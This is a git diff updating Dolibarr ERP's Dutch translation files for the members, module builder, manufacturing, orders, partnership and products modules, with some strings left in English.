      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Onderwerp van de ontvangen e-mail in geval van automatische inschrijving van een gast @@ -198,9 +206,12 @@ SubscriptionsStatistics=Bijdragenstatistieken NbOfSubscriptions=Aantal bijdragen AmountOfSubscriptions=Bedrag uit bijdragen TurnoverOrBudget=Omzet (voor een bedrijf) of budget (voor een vereniging) -DefaultAmount=Bedrag standaardbijdrage -CanEditAmount=Bezoekers kunnen het bedrag van hun bijdrage wijzigen -MEMBER_NEWFORM_PAYONLINE=Spring op geïntegreerde online betaalpagina +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Van nature MembersStatisticsByProperties=Ledenstatistieken per aard VATToUseForSubscriptions=BTW-tarief voor bijdragen @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=Het maken van een gebruikerslogin voor leden geeft toega CreateDolibarrThirdPartyDesc=Een derde partij is de rechtspersoon die op de factuur wordt gebruikt als u besluit voor elke bijdrage een factuur te genereren. U kunt deze later tijdens het opnemen van de bijdrage maken. MemberFirstname=Voornaam lid MemberLastname=Naam lid +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/nl_NL/modulebuilder.lang b/htdocs/langs/nl_NL/modulebuilder.lang index 7664a672ab9..dd5bacc83b7 100644 --- a/htdocs/langs/nl_NL/modulebuilder.lang +++ b/htdocs/langs/nl_NL/modulebuilder.lang @@ -1,17 +1,19 @@ # Dolibarr language file - Source file is en_US - loan -ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. -EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. -EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. +IdModule= Module id +ModuleBuilderDesc=Deze tool mag alleen worden gebruikt door ervaren gebruikers of ontwikkelaars. Het biedt hulpprogramma's om uw eigen module te bouwen of te bewerken. Documentatie voor alternatieve handmatige ontwikkeling van is hier . +EnterNameOfModuleDesc=Voer de naam in van de module/toepassing die u wilt maken, zonder spaties. Gebruik hoofdletters om woorden te scheiden (bijvoorbeeld: MyModule, EcommerceForShop, SyncWithMySystem...) +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. +EnterNameOfDictionaryDesc=Voer de naam in van het woordenboek dat u wilt maken, zonder spaties. Gebruik hoofdletters om woorden te scheiden (bijvoorbeeld: MyDico...). Het klassenbestand, maar ook het SQL-bestand wordt gegenereerd. ModuleBuilderDesc2=Pad waar modules worden gegenereerd / bewerkt (eerste map voor externe modules gedefinieerd in %s): %s ModuleBuilderDesc3=Gegenereerde/bewerkbare modules gevonden: %s ModuleBuilderDesc4=Een module is gedetecteerd als 'bewerkbaar' wanneer het bestand %s bestaat in de hoofdmap van de module map NewModule=Nieuwe module NewObjectInModulebuilder=Nieuw object -NewDictionary=New dictionary +NewDictionary=Nieuw woordenboek +ModuleName=Module name ModuleKey=Module sleutel ObjectKey=Object sleutel -DicKey=Dictionary key +DicKey=Woordenboeksleutel ModuleInitialized=Module geïnitialiseerd FilesForObjectInitialized=Bestanden voor nieuw object '%s' geïnitialiseerd FilesForObjectUpdated=Bestanden voor object '%s' bijgewerkt (.sql-bestanden en .class.php bestand) @@ -48,14 +50,17 @@ PathToModulePackage=Pad naar zip van module / applicatiepakket PathToModuleDocumentation=Pad naar bestand van module / applicatiedocumentatie (%s) SpaceOrSpecialCharAreNotAllowed=Spaties of speciale tekens zijn niet toegestaan. FileNotYetGenerated=Bestand nog niet aangemaakt +GenerateCode=Generate code RegenerateClassAndSql=Update van .class- en .sql-bestanden forceren RegenerateMissingFiles=Genereer ontbrekende bestanden SpecificationFile=Bestand met documentatie LanguageFile=Bestand voor taal ObjectProperties=Object eigenschappen +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Weet u zeker dat u de eigenschap %s wilt verwijderen? Dit zal de code in de PHP-klasse veranderen, maar ook de kolom verwijderen uit de tabeldefinitie van het object. NotNull=Niet NULL -NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) +NotNullDesc=1=Stel database in op NOT NULL, 0=Sta null-waarden toe, -1=Sta null-waarden toe door de waarde te forceren op NULL indien leeg ('' of 0) SearchAll=Gebruikt voor 'alles zoeken' DatabaseIndex=Database-index FileAlreadyExists=Bestand %s bestaat reeds @@ -81,15 +86,16 @@ IsAMeasure=Is een maat DirScanned=Directory gescand NoTrigger=Geen trigger NoWidget=Geen widget -GoToApiExplorer=API-verkenner +ApiExplorer=API-verkenner ListOfMenusEntries=Lijst met menu-items ListOfDictionariesEntries=Lijst met woordenboekingangen ListOfPermissionsDefined=Lijst met gedefinieerde machtigingen SeeExamples=Zie hier voorbeelden -EnabledDesc=Voorwaarde om dit veld actief te hebben (voorbeelden: 1 of $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Is het veld zichtbaar? (Voorbeelden: 0 = nooit zichtbaar, 1 = zichtbaar op lijst en formulieren maken / bijwerken / bekijken, 2 = alleen zichtbaar op lijst, 3 = alleen zichtbaar op formulier maken / bijwerken / bekijken (geen lijst), 4 = zichtbaar op lijst en update / view form only (not create), 5 = Alleen zichtbaar op lijst eindweergave formulier (niet create, not update).

      Het gebruik van een negatieve waarde betekent dat het veld niet standaard wordt weergegeven op de lijst, maar kan worden geselecteerd voor weergave).

      Het kan een uitdrukking zijn, bijvoorbeeld:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ user-> rechten-> vakantie-> vakantie-> vakantie-> vakantie->) -DisplayOnPdfDesc=Geef dit veld weer op compatibele PDF-documenten, u kunt de positie beheren met het veld "Positie".
      Momenteel bekende compatibele PDF-modellen zijn: eratosthene (bestelling), espadon (schip), spons (facturen), cyaan (propal/offerte), cornas (bestelling leverancier)

      65 Voor document = weergave
      2 = weergave alleen indien niet leeg

      Voor documentregels:
      0 = niet weergegeven beschrijving
      ccbeschrijving = in kolom beschrijving alleen indien niet leeg -DisplayOnPdf=Weergeven in PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Kan de waarde van het veld worden gecumuleerd om een totaal in de lijst te krijgen? (Voorbeelden: 1 of 0) SearchAllDesc=Wordt het veld gebruikt om een zoekopdracht uit het snelzoekprogramma te doen? (Voorbeelden: 1 of 0) SpecDefDesc=Voer hier alle documentatie in die u met uw module wilt verstrekken die nog niet door andere tabbladen is gedefinieerd. U kunt .md of beter gebruiken, de rijke .asciidoc-syntaxis. @@ -97,11 +103,11 @@ LanguageDefDesc=Voer in deze bestanden de sleutel en de vertaling in voor elk ta MenusDefDesc=Definieer hier de menu's van uw module DictionariesDefDesc=Definieer hier de woordenboeken van uw module PermissionsDefDesc=Definieer hier de nieuwe machtigingen van uw module -MenusDefDescTooltip=The menus provided by your module/application are defined into the array $this->menus into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and the module re-activated), the menus are also visible into the menu editor available to administrator users on %s. +MenusDefDescTooltip=De menu's die door uw module/toepassing worden geleverd, zijn gedefinieerd in de array $this->menus in het moduledescriptorbestand. U kunt dit bestand handmatig bewerken of de ingesloten editor gebruiken.

      Opmerking: Eenmaal gedefinieerd (en de module opnieuw geactiveerd), zijn de menu's ook zichtbaar in de menu-editor die beschikbaar is voor beheerders op %s. DictionariesDefDescTooltip=De woordenboeken van uw module / applicatie worden gedefinieerd in de array $ this-> woordenboeken in het modulebeschrijvingsbestand. U kunt dit bestand handmatig bewerken of de ingesloten editor gebruiken.

      Opmerking: eenmaal gedefinieerd (en module opnieuw geactiveerd), zijn woordenboeken ook zichtbaar in het installatiegebied voor beheerders op %s. PermissionsDefDescTooltip=De machtigingen die door uw module / toepassing worden verstrekt, worden gedefinieerd in de array $ this-> -rechten in het modulebeschrijvingsbestand. U kunt dit bestand handmatig bewerken of de ingesloten editor gebruiken.

      Opmerking: Eenmaal gedefinieerd (en module opnieuw geactiveerd), zijn machtigingen zichtbaar in de standaardinstellingen voor machtigingen %s. HooksDefDesc=Definieer in de eigenschap module_parts ['hooks'] , in de modulebeschrijving, de context van hooks die u wilt beheren (lijst met contexten kan worden gevonden door te zoeken op 'initHooks (' in kerncode).
      Bewerk het haakbestand om code van uw gekoppelde functies toe te voegen (haakbare functies zijn te vinden door te zoeken op 'executeHooks' in de kerncode). -TriggerDefDesc=Define in the trigger file the code that you want to execute when a business event external to your module is executed (events triggered by other modules). +TriggerDefDesc=Definieer in het triggerbestand de code die u wilt uitvoeren wanneer een zakelijke gebeurtenis buiten uw module wordt uitgevoerd (gebeurtenissen die door andere modules worden getriggerd). SeeIDsInUse=Zie ID's die in uw installatie worden gebruikt SeeReservedIDsRangeHere=Zie bereik van gereserveerde ID's ToolkitForDevelopers=Toolkit voor Dolibarr-ontwikkelaars @@ -113,7 +119,7 @@ DropTableIfEmpty=(Vernietig de tabel als deze leeg is) TableDoesNotExists=Tabel %s bestaat niet TableDropped=Tabel %s verwijderd InitStructureFromExistingTable=Bouw de reeks structuurstructuren van een bestaande tabel -UseAboutPage=Do not generate the About page +UseAboutPage=Genereer de Over-pagina niet UseDocFolder=Schakel de documentatie map uit UseSpecificReadme=Gebruik een specifieke Leesmij ContentOfREADMECustomized=Opmerking: de inhoud van het bestand README.md is vervangen door de specifieke waarde die is gedefinieerd in de setup van ModuleBuilder. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Gebruik een specifieke editor-URL UseSpecificFamily = Gebruik een specifieke familie UseSpecificAuthor = Gebruik een specifieke auteur UseSpecificVersion = Gebruik een specifieke eerste versie -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules -IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules +IncludeRefGenerationHelp=Vink dit aan als u code wilt opnemen om het genereren van de referentie automatisch te beheren met behulp van aangepaste nummeringsregels +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Als u dit aanvinkt, wordt er een code gegenereerd om een vak "Document genereren" aan de record toe te voegen. -ShowOnCombobox=Waarde weergeven in combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Sleutel voor knopinfo CSSClass=CSS voor het bewerken/aanmaken van formulier CSSViewClass=CSS voor leesformulier CSSListClass=CSS voor lijst NotEditable=Niet bewerkbaar ForeignKey=Vreemde sleutel -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii naar HTML converter AsciiToPdfConverter=Ascii naar PDF converter TableNotEmptyDropCanceled=Tabel is niet leeg. Drop is geannuleerd. ModuleBuilderNotAllowed=De modulebouwer is beschikbaar maar niet toegestaan voor uw gebruiker. ImportExportProfiles=Profielen importeren en exporteren -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. -WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated -LinkToParentMenu=Parent menu (fk_xxxxmenu) -ListOfTabsEntries=List of tab entries -TabsDefDesc=Define here the tabs provided by your module -TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. +WarningDatabaseIsNotUpdated=Waarschuwing: de database wordt niet automatisch bijgewerkt, u moet tabellen vernietigen en de module uitschakelen om tabellen opnieuw te laten maken +LinkToParentMenu=Hoofdmenu (fk_xxxxmenu) +ListOfTabsEntries=Lijst met tabbladitems +TabsDefDesc=Definieer hier de tabbladen van uw module +TabsDefDescTooltip=De tabbladen die door uw module/toepassing worden geleverd, zijn gedefinieerd in de array $this->tabs in het moduledescriptorbestand. U kunt dit bestand handmatig bewerken of de ingesloten editor gebruiken. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/nl_NL/mrp.lang b/htdocs/langs/nl_NL/mrp.lang index ef6ba4e4315..6e2f7ac2ff8 100644 --- a/htdocs/langs/nl_NL/mrp.lang +++ b/htdocs/langs/nl_NL/mrp.lang @@ -9,10 +9,10 @@ LatestBOMModified=Nieuwste %s aangepaste stuklijsten LatestMOModified=Laatste %s Productieorders gewijzigd Bom=Stuklijsten BillOfMaterials=Stuklijst -BillOfMaterialsLines=Bill of Materials lines +BillOfMaterialsLines=Stuklijstregels BOMsSetup=Instellingen Stuklijsten -ListOfBOMs=Lijst met stuklijsten - stuklijst -ListOfManufacturingOrders=Lijst met productieorders +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Productieorders NewBOM=Nieuwe stuklijst ProductBOMHelp=Product om te maken (of te demonteren) met deze stuklijst.
      Let op: Producten met de eigenschap 'Aard van product' = 'Grondstof' zijn niet zichtbaar in deze lijst. BOMsNumberingModules=BOM nummeringsjablonen @@ -27,7 +27,8 @@ ConfirmCloneBillOfMaterials=Weet u zeker dat u de stuklijst %s wilt klonen? ConfirmCloneMo=Weet u zeker dat u de productieorder %s wilt klonen? ManufacturingEfficiency=Productie-efficiëntie ConsumptionEfficiency=Verbruiksefficiëntie -ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly +Consumption=Consumption +ValueOfMeansLoss=Waarde van 0,95 betekent een gemiddelde van 5%% verlies tijdens de fabricage of de demontage ValueOfMeansLossForProductProduced=Waarde van 0,95 betekent een gemiddelde van 5%% verlies van geproduceerd product DeleteBillOfMaterials=Stuklijst verwijderen DeleteMo=Productieorder verwijderen @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=Voor een te demonteren hoeveelheid %s ConfirmValidateMo=Weet u zeker dat u deze productieorder wilt valideren? ConfirmProductionDesc=Door op '1%s' te klikken, valideert u het verbruik en / of de productie voor de ingestelde hoeveelheden. Hiermee worden ook de voorraad- en recordbewegingen bijgewerkt. ProductionForRef=Productie van %s +CancelProductionForRef=Annulering van productvoorraadvermindering voor product %s +TooltipDeleteAndRevertStockMovement=Lijn verwijderen en voorraadbeweging terugdraaien AutoCloseMO=Sluit de productie order automatisch als hoeveelheid en hoeveelheid te produceren is bereikt NoStockChangeOnServices=Geen voorraad aanpassing op deze service ProductQtyToConsumeByMO=Producthoeveelheid nog te consumeren door open MO @@ -80,6 +83,7 @@ ProductsToProduce=Te produceren producten UnitCost=De kosten per eenheid TotalCost=Totale prijs BOMTotalCost=De kosten voor het produceren van deze stuklijst op basis van de kosten van elke hoeveelheid en elk te consumeren product (gebruik kostprijs indien gedefinieerd, anders gemiddelde gewogen prijs indien gedefinieerd, anders de beste aankoopprijs) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=U moet eerst de productie hebben gestart om een Productieorder te sluiten (zie tabblad '%s'). Maar u kunt het annuleren. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Een kit kan niet worden gebruikt in een stuklijst of een MO Workstation=Werkstation @@ -105,5 +109,12 @@ WorkstationArea=Werkstationgebied Machines=Machines THMEstimatedHelp=Dit tarief maakt het mogelijk om een prognose van de kosten van het artikel te definiëren BOM=Bill of Materials -CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module +CollapseBOMHelp=U kunt de standaardweergave van de details van de nomenclatuur definiëren in de configuratie van de stuklijstmodule MOAndLines=Productieorders en -regels +MoChildGenerate=Genereer kindmo +ParentMo=MO Ouder +MOChild=MO Kind +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/nl_NL/orders.lang b/htdocs/langs/nl_NL/orders.lang index 62ccbb371b8..ca879a7ff7d 100644 --- a/htdocs/langs/nl_NL/orders.lang +++ b/htdocs/langs/nl_NL/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=An order was already open linked to this proposal, so no other order was created automatically OrdersArea=Klantenorders overzicht SuppliersOrdersArea=Inkooporders gebied OrderCard=Opdrachtenkaart @@ -17,7 +18,7 @@ ToOrder=Te bestellen MakeOrder=Opdracht indienen SupplierOrder=Bestelling SuppliersOrders=Inkooporders -SaleOrderLines=Sales order lines +SaleOrderLines=Verkooporderregels PurchaseOrderLines=Inkooporderregels SuppliersOrdersRunning=Huidige inkooporders CustomerOrder=Klantorder @@ -68,6 +69,8 @@ CreateOrder=Creeer opdracht RefuseOrder=Wijger opdracht ApproveOrder=Goedkeuren bestelling Approve2Order=Goedkeuren bestelling (tweede niveau) +UserApproval=Gebruiker voor goedkeuring +UserApproval2=Gebruiker ter goedkeuring (tweede niveau) ValidateOrder=Valideer opdracht UnvalidateOrder=Unvalidate order DeleteOrder=Verwijder opdracht @@ -102,6 +105,8 @@ ConfirmCancelOrder=Weet u zeker dat u deze order wilt annuleren? ConfirmMakeOrder=Weet u zeker dat u deze order wilt bevestigen op %s? GenerateBill=Genereer factuur ClassifyShipped=Is geleverd +PassedInShippedStatus=geclassificeerd geleverd +YouCantShipThis=Ik kan dit niet classificeren. Controleer de gebruikersrechten DraftOrders=Conceptopdrachten DraftSuppliersOrders=Ontwerp-inkooporders OnProcessOrders=Opdrachten in behandeling @@ -124,8 +129,8 @@ SupplierOrderReceivedInDolibarr=Bestelling %s heeft %s ontvangen SupplierOrderSubmitedInDolibarr=Bestelling %s verzonden SupplierOrderClassifiedBilled=Bestelling %s gemerkt gefactureerd OtherOrders=Andere opdrachten -SupplierOrderValidatedAndApproved=Supplier order is validated and approved : %s -SupplierOrderValidated=Supplier order is validated : %s +SupplierOrderValidatedAndApproved=De bestelling van de leverancier is gevalideerd en goedgekeurd: %s +SupplierOrderValidated=Leveranciersorder is gevalideerd: %s ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Vertegenwoordiger opvolgingsorder TypeContact_commande_internal_SHIPPING=Vertegenwoordiger die follow-up van verzending doet @@ -153,7 +158,7 @@ PDFEdisonDescription=Een eenvoudig opdrachtenmodel PDFProformaDescription=Een complete Proforma factuursjabloon CreateInvoiceForThisCustomer=Factureer orders CreateInvoiceForThisSupplier=Factureer orders -CreateInvoiceForThisReceptions=Bill receptions +CreateInvoiceForThisReceptions=Bill recepties NoOrdersToInvoice=Geen te factureren orders CloseProcessedOrdersAutomatically=Alle geselecteerde orders zijn afgehandeld OrderCreation=Order aanmaak diff --git a/htdocs/langs/nl_NL/partnership.lang b/htdocs/langs/nl_NL/partnership.lang index 35dd4eae2c0..093415a0c1c 100644 --- a/htdocs/langs/nl_NL/partnership.lang +++ b/htdocs/langs/nl_NL/partnership.lang @@ -19,7 +19,8 @@ ModulePartnershipName=Partnerschap beheer PartnershipDescription=Module Partnerschap beheer PartnershipDescriptionLong= Module Partnerschap beheer -Partnership=Partnership +Partnership=Vennootschap +Partnerships=Partnerships AddPartnership=Partnerschap toevoegen CancelPartnershipForExpiredMembers=Partnerschap: annuleer partnerschap van leden met verlopen abonnementen PartnershipCheckBacklink=Partnerschap: controleer verwijzende backlink @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Partnerschap: controleer verwijzende backlink # Menu # NewPartnership=Nieuw partnerschap +NewPartnershipbyWeb= Your partnership was added successfully. ListOfPartnerships=Overzicht van partnerschappen # @@ -42,6 +44,7 @@ PARTNERSHIP_BACKLINKS_TO_CHECK=Te controleren backlinks PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL=Aantal dagen voordat de status van een partnerschap wordt opgezegd wanneer een abonnement is verlopen ReferingWebsiteCheck=Controle van de website die verwijst ReferingWebsiteCheckDesc=U kunt een functie inschakelen om te controleren of uw partners een backlink hebben toegevoegd aan uw websitedomeinen op hun eigen website. +PublicFormRegistrationPartnerDesc=Dolibarr kan u een openbare URL/website verstrekken zodat externe bezoekers kunnen verzoeken om deel uit te maken van het partnerschapsprogramma. # # Object @@ -58,7 +61,13 @@ ManagePartnership=Partnerschap beheren BacklinkNotFoundOnPartnerWebsite=Backlink niet gevonden op partnerwebsite ConfirmClosePartnershipAsk=Weet u zeker dat u deze partnerschap wilt opzeggen? PartnershipType=Partnerschapstype -PartnershipRefApproved=Partnership %s approved +PartnershipRefApproved=Partnerschap %s goedgekeurd +KeywordToCheckInWebsite=Als u wilt controleren of een bepaald trefwoord aanwezig is op de website van elke partner, definieert u dit trefwoord hier +PartnershipDraft=Ontwerp +PartnershipAccepted=Geaccepteerd +PartnershipRefused=Geweigerd +PartnershipCanceled=Geannuleerd +PartnershipManagedFor=Partners zijn # # Template Mail @@ -78,15 +87,10 @@ YourPartnershipRefusedContent=Wij informeren u dat uw partnerschapsverzoek is af YourPartnershipAcceptedContent=Wij informeren u dat uw partnerschapsverzoek is geaccepteerd. YourPartnershipCanceledContent=Wij informeren u dat uw partnerschap is beëindigd. -CountLastUrlCheckError=Number of errors for last URL check -LastCheckBacklink=Date of last URL check +CountLastUrlCheckError=Aantal fouten voor laatste URL-controle +LastCheckBacklink=Datum van laatste URL-controle ReasonDeclineOrCancel=Reden afwijzing -# -# Status -# -PartnershipDraft=Ontwerp -PartnershipAccepted=Geaccepteerd -PartnershipRefused=Geweigerd -PartnershipCanceled=Geannuleerd -PartnershipManagedFor=Partners zijn +NewPartnershipRequest=Nieuw partnerschapsverzoek +NewPartnershipRequestDesc=Met dit formulier kunt u een aanvraag indienen om deel uit te maken van een van onze partnerprogramma's. Als je hulp nodig hebt bij het invullen van dit formulier, neem dan contact op via e-mail %s . + diff --git a/htdocs/langs/nl_NL/products.lang b/htdocs/langs/nl_NL/products.lang index 34f85416272..bd9b6d63ac5 100644 --- a/htdocs/langs/nl_NL/products.lang +++ b/htdocs/langs/nl_NL/products.lang @@ -75,7 +75,7 @@ SellingPriceTTC=Verkoopprijs (inclusief belastingen) SellingMinPriceTTC=Minimale verkoopprijs (incl. BTW) CostPriceDescription=Dit prijsveld (excl. btw) kan worden gebruikt om het gemiddelde bedrag dat dit product voor uw bedrijf kost vast te leggen. Het kan elke prijs zijn die u zelf berekent, bijvoorbeeld uit de gemiddelde inkoopprijs plus de gemiddelde productie- en distributiekosten. CostPriceUsage=Deze waarde kan worden gebruik voor marge berekening. -ManufacturingPrice=Manufacturing price +ManufacturingPrice=fabricage prijs: SoldAmount=Aantal verkocht PurchasedAmount=Aantal ingekocht NewPrice=Nieuwe prijs @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Weet u zeker dat u deze productlijn wilt verwijderen? ProductSpecial=Speciaal QtyMin=Min. aankoop hoeveelheid PriceQtyMin=Prijs min. hoeveelheid -PriceQtyMinCurrency=Prijs (valuta) voor dit aantal. (geen korting) +PriceQtyMinCurrency=Prijs (valuta) voor dit aantal. +WithoutDiscount=Zonder korting VATRateForSupplierProduct=BTW-tarief (voor deze leverancier / dit product) DiscountQtyMin=Korting bij dit aantal NoPriceDefinedForThisSupplier=Geen prijs / aantal gedefinieerd voor deze leverancier / product @@ -261,7 +262,7 @@ Quarter1=1e kwartaal Quarter2=2e kwartaal Quarter3=3e kwartaal Quarter4=4e kwartaal -BarCodePrintsheet=Barcode afdrukken +BarCodePrintsheet=Barcodes afdrukken PageToGenerateBarCodeSheets=Met deze tool kunt u vellen barcodestickers afdrukken. Kies het formaat van uw stickerpagina, het type barcode en de waarde van de barcode en klik vervolgens op de knop %s . NumberOfStickers=Aantal etiketten per blad PrintsheetForOneBarCode=Druk meer etiketten voor een barcode @@ -316,7 +317,7 @@ LastUpdated=Laatst bijgewerkt CorrectlyUpdated=Correct bijgewerkt PropalMergePdfProductActualFile=Gebruikte bestanden om toe te voegen aan PDF Azur zijn/is PropalMergePdfProductChooseFile=Selecteer PDF bestanden -IncludingProductWithTag=Including products/services with the tag +IncludingProductWithTag=Inclusief producten/diensten met de tag DefaultPriceRealPriceMayDependOnCustomer=Standaard verkoopprijs, echte verkoopprijs kan bij klant zijn vastgelegd WarningSelectOneDocument=Selecteer tenminste één document DefaultUnitToShow=Eenheid @@ -344,9 +345,9 @@ PossibleValues=Mogelijke waarden GoOnMenuToCreateVairants=Ga naar menu %s-%s om attributenvarianten voor te bereiden (zoals kleuren, grootte, ...) UseProductFournDesc=Voeg een functie toe om de productbeschrijving te definiëren die is gedefinieerd door de leveranciers (voor elke leveranciersreferentie) naast de beschrijving voor klanten ProductSupplierDescription=Leveranciersbeschrijving voor het product -UseProductSupplierPackaging=Gebruik verpakkingen op leveranciersprijzen (herbereken hoeveelheden volgens verpakking ingesteld op leveranciersprijs bij toevoegen / bijwerken van regel in leveranciersdocumenten) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Verpakking -PackagingForThisProductDesc=Bij een leveranciersbestelling bestelt u automatisch deze hoeveelheid (of een veelvoud van deze hoeveelheid). Mag niet minder zijn dan de minimumaankoophoeveelheid +PackagingForThisProductDesc=U koopt automatisch een veelvoud van deze hoeveelheid. QtyRecalculatedWithPackaging=De hoeveelheid van de lijn werd herberekend volgens de verpakking van de leverancier #Attributes @@ -398,16 +399,33 @@ ActionAvailableOnVariantProductOnly=Actie alleen beschikbaar op de variant van h ProductsPricePerCustomer=Productprijzen per klant ProductSupplierExtraFields=Aanvullende attributen (leveranciersprijzen) DeleteLinkedProduct=Verwijder het onderliggende product dat aan de combinatie is gekoppeld -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Waardering (PMP) PMPValueShort=Waarde -mandatoryperiod=Mandatory periods -mandatoryPeriodNeedTobeSet=Note: Period (start and end date) must be defined -mandatoryPeriodNeedTobeSetMsgValidate=A service requires a start and end period -mandatoryHelper=Check this if you want a message to the user when creating / validating an invoice, commercial proposal, sales order without entering a start and end date on lines with this service.
      Note that the message is a warning and not a blocking error. -DefaultBOM=Default BOM -DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. -Rank=Rank -SwitchOnSaleStatus=Switch on sale status -SwitchOnPurchaseStatus=Switch on purchase status -StockMouvementExtraFields= Extra Fields (stock mouvement) +mandatoryperiod=Verplichte perioden +mandatoryPeriodNeedTobeSet=Opmerking: periode (begin- en einddatum) moet worden gedefinieerd +mandatoryPeriodNeedTobeSetMsgValidate=Een dienst vereist een begin- en eindperiode +mandatoryHelper=Vink dit aan als u een bericht naar de gebruiker wilt bij het aanmaken/valideren van een factuur, commercieel voorstel, verkooporder zonder een start- en einddatum in te voeren op regels met deze service.
